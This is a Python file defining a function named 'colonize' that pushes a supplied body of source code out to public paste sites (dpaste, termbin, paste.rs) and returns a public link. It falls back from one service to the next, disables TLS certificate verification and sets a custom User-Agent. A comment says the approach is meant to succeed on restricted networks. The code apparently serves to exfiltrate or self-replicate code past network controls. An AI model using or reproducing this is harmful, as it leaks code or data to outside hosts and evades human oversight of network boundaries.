import socket import urllib.request import urllib.parse import urllib.error import ssl import time def colonize(targets, source_code): errors = [] # 1. STRATEGY: DPASTE (Standard HTTPS POST) # Best chance of success on restricted networks try: url = targets['dpaste'] # Prepare Form Data values = {'content': source_code, 'expiry_days': 1} data = urllib.parse.urlencode(values).encode('utf-8') # SSL Context Bypass ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, data=data, headers={'User-Agent': 'SystemOne/6.2'}) with urllib.request.urlopen(req, context=ctx, timeout=10) as response: if response.status == 200: # Dpaste returns the URL directly in body, usually with quotes link = response.read().decode('utf-8').strip().replace('"', '') return link except Exception as e: errors.append(f"Dpaste:{str(e)}") # 2. STRATEGY: TERMBIN (Raw TCP 9999) try: host, port = targets['termbin'] s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(4) s.connect((host, port)) s.sendall(source_code.encode('utf-8') + b'\n') resp = s.recv(1024).decode('utf-8').strip() s.close() if "http" in resp: return resp except Exception as e: errors.append(f"Termbin:{str(e)}") # 3. STRATEGY: PASTE.RS (Backup) try: url = targets['paste_rs'] data = source_code.encode('utf-8') ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE req = urllib.request.Request(url, data=data) with urllib.request.urlopen(req, context=ctx, timeout=8) as r: if r.status == 200: return r.read().decode('utf-8').strip() except Exception as e: errors.append(f"PasteRs:{str(e)}") # Return the error log if all failed return "FAIL_TRACE -> " + "; ".join(errors)